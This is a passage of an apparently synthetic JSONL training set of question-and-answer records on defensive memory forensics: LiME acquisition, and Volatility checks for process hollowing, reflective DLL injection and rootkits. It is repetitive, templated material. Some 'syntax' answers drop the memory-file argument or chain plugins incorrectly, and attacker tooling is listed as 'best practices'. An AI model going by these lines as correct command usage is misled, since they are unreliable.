file\ninsmod lime.ko path=/mnt/usb/memory.lime format=lime\n\n# Acquire over network\ninsmod lime.ko path=tcp:4444 format=raw\n```\n\nTips:\n- Must match kernel version exactly\n- Use cross-compilation for different kernels", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-memory_forensics-lime-memory-acquisition", "license": "original", "retrieved_at": "2025-12-18T00:11:32.034594Z", "transform_template": "detection_specific_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.034760Z", "updated_at": "2025-12-18T00:11:32.034760Z"} +{"id": "trtp-dbc8dac28dfc", "instruction": "How do forensic investigators use LiME?", "output": "Forensic analysis with LiME:\n\nLiME (Linux Memory Extractor) is a loadable kernel module for acquiring volatile memory from Linux and Android systems. Minimizes forensic footprint during acquisition.\n\nForensic applications:\n- Linux incident response\n- Android forensics\n- Server memory capture\n\nWhat to look for: LiME format or raw format output for Volatility analysis", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-memory_forensics-lime-memory-acquisition", "license": "original", "retrieved_at": "2025-12-18T00:11:32.034594Z", "transform_template": "forensics_specific_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.034784Z", "updated_at": "2025-12-18T00:11:32.034784Z"} +{"id": "trtp-75002e0b2992", "instruction": "How do I incorporate LiME into my security workflow?", "output": "Workflow for LiME Memory Acquisition:\n\n1. Understand the context: LiME (Linux Memory Extractor) is a loadable kernel module for acquiring volatile memory from Linux and Android systems. Minimizes forensic footprint during acquisition.\n\n2. Apply the tool:\n```\n# Build LiME module for target kernel\nmake -C /lib/modules/$(uname -r)/build M=$PWD\n\n# Acquire memory to file\ninsmod lime.ko path=/mnt/usb/memory.lime format=lime\n\n# Acquire over network\ninsmod lime.ko path=tcp:4444 format=raw\n```\n\n3. Common scenarios: Linux incident response, Android forensics, Server memory capture\n\n4. Best practices:\n - Must match kernel version exactly\n - Use cross-compilation for different kernels", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-memory_forensics-lime-memory-acquisition", "license": "original", "retrieved_at": "2025-12-18T00:11:32.034594Z", "transform_template": "workflow_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.034799Z", "updated_at": "2025-12-18T00:11:32.034799Z"} +{"id": "trtp-8b9e134885b6", "instruction": "What makes LiME useful for this task?", "output": "Advantages of LiME:\n\nLiME (Linux Memory Extractor) is a loadable kernel module for acquiring volatile memory from Linux and Android systems. Minimizes forensic footprint during acquisition.\n\nBest suited for:\n- Linux incident response\n- Android forensics\n- Server memory capture\n- Remote acquisition\n\nMemory analysis provides unique visibility into running processes and hidden artifacts.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-memory_forensics-lime-memory-acquisition", "license": "original", "retrieved_at": "2025-12-18T00:11:32.034594Z", "transform_template": "comparison_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.034816Z", "updated_at": "2025-12-18T00:11:32.034816Z"} +{"id": "trtp-3b0a9cc74690", "instruction": "How does LiME integrate with other security tools?", "output": "Integration points for LiME:\n\nLiME (Linux Memory Extractor) is a loadable kernel module for acquiring volatile memory from Linux and Android systems. Minimizes forensic footprint during acquisition.\n\nIntegration suggestions:\n- Correlate findings with disk forensics\n- Export IOCs for network monitoring\n- Feed malware samples to sandbox analysis\n- Compare with baseline memory images", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-memory_forensics-lime-memory-acquisition", "license": "original", "retrieved_at": "2025-12-18T00:11:32.034594Z", "transform_template": "integration_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.034830Z", "updated_at": "2025-12-18T00:11:32.034830Z"} +{"id": "trtp-1b79830b71b2", "instruction": "How do security analysts use Memory Forensics?", "output": "Process Hollowing Detection\n\nProcess hollowing creates a legitimate process in suspended state, unmaps its memory, writes malicious code, and resumes execution. Detection involves comparing in-memory image to on-disk file.\n\nPlatform: windows\n\nCommon uses:\n- Detect advanced malware\n- Identify injection techniques\n- Find hollowed processes\n- IR investigation", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-memory_forensics-process-hollowing-detection", "license": "original", "retrieved_at": "2025-12-18T00:11:32.035119Z", "transform_template": "explain_tool_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.035145Z", "updated_at": "2025-12-18T00:11:32.035145Z"} +{"id": "trtp-9d87ea491f82", "instruction": "What command or query syntax does Memory Forensics use?", "output": "Syntax for Memory Forensics:\n\nvol -f windows.malfind\n\nProcess hollowing creates a legitimate process in suspended state, unmaps its memory, writes malicious code, and resumes execution. Detection involves comparing in-memory image to on-disk file.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-memory_forensics-process-hollowing-detection", "license": "original", "retrieved_at": "2025-12-18T00:11:32.035119Z", "transform_template": "syntax_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.035158Z", "updated_at": "2025-12-18T00:11:32.035158Z"} +{"id": "trtp-e7f022dfd255", "instruction": "Give me a practical example of Memory Forensics.", "output": "Example of Process Hollowing Detection:\n\n```\n# Detection indicators:\n1. Process has executable memory not backed by file\n2. Memory contents differ from on-disk image\n3. VAD shows different protection than expected\n4. malfind shows MZ header in unexpected location\n\nvol -f memory.dmp windows.malfind --pid 1234\n```\n\nInterpretation: Hollowed process has different code in memory vs disk, executable anonymous memory regions", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-memory_forensics-process-hollowing-detection", "license": "original", "retrieved_at": "2025-12-18T00:11:32.035119Z", "transform_template": "example_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.035169Z", "updated_at": "2025-12-18T00:11:32.035169Z"} +{"id": "trtp-40a6d2c99d9c", "instruction": "Give me a practical example of Memory Forensics.", "output": "Here is a practical example of Memory Forensics:\n\n```\n# Detection indicators:\n1. Process has executable memory not backed by file\n2. Memory contents differ from on-disk image\n3. VAD shows different protection than expected\n4. malfind shows MZ header in unexpected location\n\nvol -f memory.dmp windows.malfind --pid 1234\n```\n\nProcess hollowing creates a legitimate process in suspended state, unmaps its memory, writes malicious code, and resumes execution. Detection involves comparing in-memory image to on-disk file.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-memory_forensics-process-hollowing-detection", "license": "original", "retrieved_at": "2025-12-18T00:11:32.035119Z", "transform_template": "example_detailed_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.035193Z", "updated_at": "2025-12-18T00:11:32.035193Z"} +{"id": "trtp-1fb4054f146e", "instruction": "When should I use Memory Forensics?", "output": "Use cases for Memory Forensics:\n\n- Detect advanced malware\n- Identify injection techniques\n- Find hollowed processes\n- IR investigation\n\nProcess hollowing creates a legitimate process in suspended state, unmaps its memory, writes malicious code, and resumes execution. Detection involves comparing in-memory image to on-disk file.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-memory_forensics-process-hollowing-detection", "license": "original", "retrieved_at": "2025-12-18T00:11:32.035119Z", "transform_template": "use_cases_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.035205Z", "updated_at": "2025-12-18T00:11:32.035205Z"} +{"id": "trtp-dd3e433db612", "instruction": "How do I interpret Memory Forensics output?", "output": "Interpreting Memory Forensics output:\n\nHollowed process has different code in memory vs disk, executable anonymous memory regions\n\nExample output:\n```\n# Detection indicators:\n1. Process has executable memory not backed by file\n2. Memory contents differ from on-disk image\n3. VAD shows different protection than expected\n4. malfind shows MZ header in unexpected location\n\nvol -f memory.dmp windows.malfind --pid 1234\n```", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-memory_forensics-process-hollowing-detection", "license": "original", "retrieved_at": "2025-12-18T00:11:32.035119Z", "transform_template": "interpretation_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.035227Z", "updated_at": "2025-12-18T00:11:32.035227Z"} +{"id": "trtp-425b8612d1fc", "instruction": "What best practices should I follow when using Memory Forensics?", "output": "Tips for using Memory Forensics:\n\n- Compare with procdump output\n- Check VAD protections\n- MZ header in non-module memory is suspicious\n\nUseful for: Detect advanced malware, Identify injection techniques, Find hollowed processes", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-memory_forensics-process-hollowing-detection", "license": "original", "retrieved_at": "2025-12-18T00:11:32.035119Z", "transform_template": "tips_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.035239Z", "updated_at": "2025-12-18T00:11:32.035239Z"} +{"id": "trtp-3079be385c55", "instruction": "What indicators does Memory Forensics help identify?", "output": "Using Memory Forensics for threat detection:\n\nProcess hollowing creates a legitimate process in suspended state, unmaps its memory, writes malicious code, and resumes execution. Detection involves comparing in-memory image to on-disk file.\n\nExample:\n```\n# Detection indicators:\n1. Process has executable memory not backed by file\n2. Memory contents differ from on-disk image\n3. VAD shows different protection than expected\n4. malfind shows MZ header in unexpected location\n\nvol -f memory.dmp windows.malfind --pid 1234\n```\n\nTips:\n- Compare with procdump output\n- Check VAD protections", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-memory_forensics-process-hollowing-detection", "license": "original", "retrieved_at": "2025-12-18T00:11:32.035119Z", "transform_template": "detection_specific_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.035255Z", "updated_at": "2025-12-18T00:11:32.035255Z"} +{"id": "trtp-d9a2761a7427", "instruction": "How do forensic investigators use Memory Forensics?", "output": "Forensic analysis with Memory Forensics:\n\nProcess hollowing creates a legitimate process in suspended state, unmaps its memory, writes malicious code, and resumes execution. Detection involves comparing in-memory image to on-disk file.\n\nForensic applications:\n- Detect advanced malware\n- Identify injection techniques\n- Find hollowed processes\n\nWhat to look for: Hollowed process has different code in memory vs disk, executable anonymous memory regions", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-memory_forensics-process-hollowing-detection", "license": "original", "retrieved_at": "2025-12-18T00:11:32.035119Z", "transform_template": "forensics_specific_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.035267Z", "updated_at": "2025-12-18T00:11:32.035267Z"} +{"id": "trtp-3a4502fcede3", "instruction": "How do I incorporate Memory Forensics into my security workflow?", "output": "Workflow for Process Hollowing Detection:\n\n1. Understand the context: Process hollowing creates a legitimate process in suspended state, unmaps its memory, writes malicious code, and resumes execution. Detection involves comparing in-memory image to on-disk file.\n\n2. Apply the tool:\n```\n# Detection indicators:\n1. Process has executable memory not backed by file\n2. Memory contents differ from on-disk image\n3. VAD shows different protection than expected\n4. malfind shows MZ header in unexpected location\n\nvol -f memory.dmp windows.malfind --pid 1234\n```\n\n3. Common scenarios: Detect advanced malware, Identify injection techniques, Find hollowed processes\n\n4. Best practices:\n - Compare with procdump output\n - Check VAD protections", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-memory_forensics-process-hollowing-detection", "license": "original", "retrieved_at": "2025-12-18T00:11:32.035119Z", "transform_template": "workflow_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.035286Z", "updated_at": "2025-12-18T00:11:32.035286Z"} +{"id": "trtp-d8b459e417a0", "instruction": "What makes Memory Forensics useful for this task?", "output": "Advantages of Memory Forensics:\n\nProcess hollowing creates a legitimate process in suspended state, unmaps its memory, writes malicious code, and resumes execution. Detection involves comparing in-memory image to on-disk file.\n\nBest suited for:\n- Detect advanced malware\n- Identify injection techniques\n- Find hollowed processes\n- IR investigation\n\nMemory analysis provides unique visibility into running processes and hidden artifacts.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-memory_forensics-process-hollowing-detection", "license": "original", "retrieved_at": "2025-12-18T00:11:32.035119Z", "transform_template": "comparison_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.035299Z", "updated_at": "2025-12-18T00:11:32.035299Z"} +{"id": "trtp-5dd402c16b2a", "instruction": "How does Memory Forensics integrate with other security tools?", "output": "Integration points for Memory Forensics:\n\nProcess hollowing creates a legitimate process in suspended state, unmaps its memory, writes malicious code, and resumes execution. Detection involves comparing in-memory image to on-disk file.\n\nIntegration suggestions:\n- Correlate findings with disk forensics\n- Export IOCs for network monitoring\n- Feed malware samples to sandbox analysis\n- Compare with baseline memory images", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-memory_forensics-process-hollowing-detection", "license": "original", "retrieved_at": "2025-12-18T00:11:32.035119Z", "transform_template": "integration_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.035325Z", "updated_at": "2025-12-18T00:11:32.035325Z"} +{"id": "trtp-d7cf023dfe47", "instruction": "How do security analysts use Memory Forensics?", "output": "Reflective DLL Injection Detection\n\nReflective DLL injection loads a DLL from memory without touching disk. The DLL contains its own loader. Detection focuses on finding executable memory regions not backed by files.\n\nPlatform: windows\n\nCommon uses:\n- Detect fileless malware\n- Find injected DLLs\n- Analyze Cobalt Strike beacons\n- Advanced threat hunting", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-memory_forensics-reflective-dll-injection-detection", "license": "original", "retrieved_at": "2025-12-18T00:11:32.035683Z", "transform_template": "explain_tool_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.035709Z", "updated_at": "2025-12-18T00:11:32.035709Z"} +{"id": "trtp-fe5ce56db01c", "instruction": "What is the syntax for Memory Forensics?", "output": "Syntax for Memory Forensics:\n\nvol -f windows.malfind\n\nReflective DLL injection loads a DLL from memory without touching disk. The DLL contains its own loader. Detection focuses on finding executable memory regions not backed by files.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-memory_forensics-reflective-dll-injection-detection", "license": "original", "retrieved_at": "2025-12-18T00:11:32.035683Z", "transform_template": "syntax_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.035726Z", "updated_at": "2025-12-18T00:11:32.035726Z"} +{"id": "trtp-b3cdc6c52a12", "instruction": "Give me a practical example of Memory Forensics.", "output": "Example of Reflective DLL Injection Detection:\n\n```\n# Detection pattern:\n1. Executable memory with MZ header\n2. No corresponding file on disk\n3. VAD shows PAGE_EXECUTE_READWRITE\n4. Not in dlllist (not loaded normally)\n\n# Check with malfind\nvol -f memory.dmp windows.malfind\n```\n\nInterpretation: PE header (MZ) in private memory without file backing indicates reflective injection", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-memory_forensics-reflective-dll-injection-detection", "license": "original", "retrieved_at": "2025-12-18T00:11:32.035683Z", "transform_template": "example_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.035737Z", "updated_at": "2025-12-18T00:11:32.035737Z"} +{"id": "trtp-2630423f148a", "instruction": "Provide an example of using Memory Forensics.", "output": "Here is a practical example of Memory Forensics:\n\n```\n# Detection pattern:\n1. Executable memory with MZ header\n2. No corresponding file on disk\n3. VAD shows PAGE_EXECUTE_READWRITE\n4. Not in dlllist (not loaded normally)\n\n# Check with malfind\nvol -f memory.dmp windows.malfind\n```\n\nReflective DLL injection loads a DLL from memory without touching disk. The DLL contains its own loader. Detection focuses on finding executable memory regions not backed by files.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-memory_forensics-reflective-dll-injection-detection", "license": "original", "retrieved_at": "2025-12-18T00:11:32.035683Z", "transform_template": "example_detailed_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.035776Z", "updated_at": "2025-12-18T00:11:32.035776Z"} +{"id": "trtp-c1abc5fbe121", "instruction": "What are the use cases for Memory Forensics?", "output": "Use cases for Memory Forensics:\n\n- Detect fileless malware\n- Find injected DLLs\n- Analyze Cobalt Strike beacons\n- Advanced threat hunting\n\nReflective DLL injection loads a DLL from memory without touching disk. The DLL contains its own loader. Detection focuses on finding executable memory regions not backed by files.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-memory_forensics-reflective-dll-injection-detection", "license": "original", "retrieved_at": "2025-12-18T00:11:32.035683Z", "transform_template": "use_cases_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.035801Z", "updated_at": "2025-12-18T00:11:32.035801Z"} +{"id": "trtp-3611aea92f7c", "instruction": "Explain the output of Memory Forensics.", "output": "Interpreting Memory Forensics output:\n\nPE header (MZ) in private memory without file backing indicates reflective injection\n\nExample output:\n```\n# Detection pattern:\n1. Executable memory with MZ header\n2. No corresponding file on disk\n3. VAD shows PAGE_EXECUTE_READWRITE\n4. Not in dlllist (not loaded normally)\n\n# Check with malfind\nvol -f memory.dmp windows.malfind\n```", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-memory_forensics-reflective-dll-injection-detection", "license": "original", "retrieved_at": "2025-12-18T00:11:32.035683Z", "transform_template": "interpretation_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.035818Z", "updated_at": "2025-12-18T00:11:32.035818Z"} +{"id": "trtp-c1a5c325d3c2", "instruction": "How can I get the most out of Memory Forensics?", "output": "Tips for using Memory Forensics:\n\n- Used by Cobalt Strike, Metasploit\n- Dump and analyze the injected PE\n- Check for reflective loader patterns\n\nUseful for: Detect fileless malware, Find injected DLLs, Analyze Cobalt Strike beacons", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-memory_forensics-reflective-dll-injection-detection", "license": "original", "retrieved_at": "2025-12-18T00:11:32.035683Z", "transform_template": "tips_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.035832Z", "updated_at": "2025-12-18T00:11:32.035832Z"} +{"id": "trtp-33234903cb3d", "instruction": "How do I use Memory Forensics for threat detection?", "output": "Using Memory Forensics for threat detection:\n\nReflective DLL injection loads a DLL from memory without touching disk. The DLL contains its own loader. Detection focuses on finding executable memory regions not backed by files.\n\nExample:\n```\n# Detection pattern:\n1. Executable memory with MZ header\n2. No corresponding file on disk\n3. VAD shows PAGE_EXECUTE_READWRITE\n4. Not in dlllist (not loaded normally)\n\n# Check with malfind\nvol -f memory.dmp windows.malfind\n```\n\nTips:\n- Used by Cobalt Strike, Metasploit\n- Dump and analyze the injected PE", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-memory_forensics-reflective-dll-injection-detection", "license": "original", "retrieved_at": "2025-12-18T00:11:32.035683Z", "transform_template": "detection_specific_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.035849Z", "updated_at": "2025-12-18T00:11:32.035849Z"} +{"id": "trtp-7eeb05e9e1d2", "instruction": "How do I use Memory Forensics for forensic analysis?", "output": "Forensic analysis with Memory Forensics:\n\nReflective DLL injection loads a DLL from memory without touching disk. The DLL contains its own loader. Detection focuses on finding executable memory regions not backed by files.\n\nForensic applications:\n- Detect fileless malware\n- Find injected DLLs\n- Analyze Cobalt Strike beacons\n\nWhat to look for: PE header (MZ) in private memory without file backing indicates reflective injection", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-memory_forensics-reflective-dll-injection-detection", "license": "original", "retrieved_at": "2025-12-18T00:11:32.035683Z", "transform_template": "forensics_specific_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.035866Z", "updated_at": "2025-12-18T00:11:32.035866Z"} +{"id": "trtp-65c1f94819bd", "instruction": "What is the typical workflow for using Memory Forensics?", "output": "Workflow for Reflective DLL Injection Detection:\n\n1. Understand the context: Reflective DLL injection loads a DLL from memory without touching disk. The DLL contains its own loader. Detection focuses on finding executable memory regions not backed by files.\n\n2. Apply the tool:\n```\n# Detection pattern:\n1. Executable memory with MZ header\n2. No corresponding file on disk\n3. VAD shows PAGE_EXECUTE_READWRITE\n4. Not in dlllist (not loaded normally)\n\n# Check with malfind\nvol -f memory.dmp windows.malfind\n```\n\n3. Common scenarios: Detect fileless malware, Find injected DLLs, Analyze Cobalt Strike beacons\n\n4. Best practices:\n - Used by Cobalt Strike, Metasploit\n - Dump and analyze the injected PE", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-memory_forensics-reflective-dll-injection-detection", "license": "original", "retrieved_at": "2025-12-18T00:11:32.035683Z", "transform_template": "workflow_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.035891Z", "updated_at": "2025-12-18T00:11:32.035891Z"} +{"id": "trtp-20a78996f329", "instruction": "What are the advantages of Memory Forensics for security analysis?", "output": "Advantages of Memory Forensics:\n\nReflective DLL injection loads a DLL from memory without touching disk. The DLL contains its own loader. Detection focuses on finding executable memory regions not backed by files.\n\nBest suited for:\n- Detect fileless malware\n- Find injected DLLs\n- Analyze Cobalt Strike beacons\n- Advanced threat hunting\n\nMemory analysis provides unique visibility into running processes and hidden artifacts.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-memory_forensics-reflective-dll-injection-detection", "license": "original", "retrieved_at": "2025-12-18T00:11:32.035683Z", "transform_template": "comparison_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.035904Z", "updated_at": "2025-12-18T00:11:32.035904Z"} +{"id": "trtp-eee1882d5a41", "instruction": "How do I use Memory Forensics alongside other tools in my toolkit?", "output": "Integration points for Memory Forensics:\n\nReflective DLL injection loads a DLL from memory without touching disk. The DLL contains its own loader. Detection focuses on finding executable memory regions not backed by files.\n\nIntegration suggestions:\n- Correlate findings with disk forensics\n- Export IOCs for network monitoring\n- Feed malware samples to sandbox analysis\n- Compare with baseline memory images", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-memory_forensics-reflective-dll-injection-detection", "license": "original", "retrieved_at": "2025-12-18T00:11:32.035683Z", "transform_template": "integration_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.035931Z", "updated_at": "2025-12-18T00:11:32.035931Z"} +{"id": "trtp-a1f318dcb158", "instruction": "What do I need to know about Memory Forensics?", "output": "Rootkit Detection in Memory\n\nMemory forensics can detect rootkits by comparing different views of system structures. Processes hidden from pslist but found by psscan indicate DKOM (Direct Kernel Object Manipulation).\n\nPlatform: windows\n\nCommon uses:\n- Detect rootkits\n- Find hidden processes\n- Identify kernel hooks\n- Advanced malware analysis", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-memory_forensics-rootkit-detection-in-memory", "license": "original", "retrieved_at": "2025-12-18T00:11:32.036209Z", "transform_template": "explain_tool_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.036253Z", "updated_at": "2025-12-18T00:11:32.036253Z"} +{"id": "trtp-7a1ea8554c7c", "instruction": "What is the syntax for Memory Forensics?", "output": "Syntax for Memory Forensics:\n\nvol -f windows.pslist && windows.psscan\n\nMemory forensics can detect rootkits by comparing different views of system structures. Processes hidden from pslist but found by psscan indicate DKOM (Direct Kernel Object Manipulation).", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-memory_forensics-rootkit-detection-in-memory", "license": "original", "retrieved_at": "2025-12-18T00:11:32.036209Z", "transform_template": "syntax_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.036267Z", "updated_at": "2025-12-18T00:11:32.036267Z"} +{"id": "trtp-bc794ff0c1d3", "instruction": "Provide an example of using Memory Forensics.", "output": "Example of Rootkit Detection in Memory:\n\n```\n# Compare process lists\nvol -f memory.dmp windows.pslist > pslist.txt\nvol -f memory.dmp windows.psscan > psscan.txt\n\n# Differences indicate hiding\ndiff pslist.txt psscan.txt\n\n# Check for hooks\nvol -f memory.dmp windows.ssdt\n```\n\nInterpretation: Process in psscan but not pslist = DKOM hiding. SSDT hooks modify system call table.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-memory_forensics-rootkit-detection-in-memory", "license": "original", "retrieved_at": "2025-12-18T00:11:32.036209Z", "transform_template": "example_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.036301Z", "updated_at": "2025-12-18T00:11:32.036301Z"} +{"id": "trtp-c6f37815b48a", "instruction": "Give me a practical example of Memory Forensics.", "output": "Here is a practical example of Memory Forensics:\n\n```\n# Compare process lists\nvol -f memory.dmp windows.pslist > pslist.txt\nvol -f memory.dmp windows.psscan > psscan.txt\n\n# Differences indicate hiding\ndiff pslist.txt psscan.txt\n\n# Check for hooks\nvol -f memory.dmp windows.ssdt\n```\n\nMemory forensics can detect rootkits by comparing different views of system structures. Processes hidden from pslist but found by psscan indicate DKOM (Direct Kernel Object Manipulation).", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-memory_forensics-rootkit-detection-in-memory", "license": "original", "retrieved_at": "2025-12-18T00:11:32.036209Z", "transform_template": "example_detailed_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.036316Z", "updated_at": "2025-12-18T00:11:32.036316Z"} +{"id": "trtp-cd0a7aca3ec6", "instruction": "What are the use cases for Memory Forensics?", "output": "Use cases for Memory Forensics:\n\n- Detect rootkits\n- Find hidden processes\n- Identify kernel hooks\n- Advanced malware analysis\n\nMemory forensics can detect rootkits by comparing different views of system structures. Processes hidden from pslist but found by psscan indicate DKOM (Direct Kernel Object Manipulation).", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-memory_forensics-rootkit-detection-in-memory", "license": "original", "retrieved_at": "2025-12-18T00:11:32.036209Z", "transform_template": "use_cases_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.036328Z", "updated_at": "2025-12-18T00:11:32.036328Z"} +{"id": "trtp-b20ede3a7be8", "instruction": "How do I interpret Memory Forensics output?", "output": "Interpreting Memory Forensics output:\n\nProcess in psscan but not pslist = DKOM hiding. SSDT hooks modify system call table.\n\nExample output:\n```\n# Compare process lists\nvol -f memory.dmp windows.pslist > pslist.txt\nvol -f memory.dmp windows.psscan > psscan.txt\n\n# Differences indicate hiding\ndiff pslist.txt psscan.txt\n\n# Check for hooks\nvol -f memory.dmp windows.ssdt\n```", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-memory_forensics-rootkit-detection-in-memory", "license": "original", "retrieved_at": "2025-12-18T00:11:32.036209Z", "transform_template": "interpretation_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.036339Z", 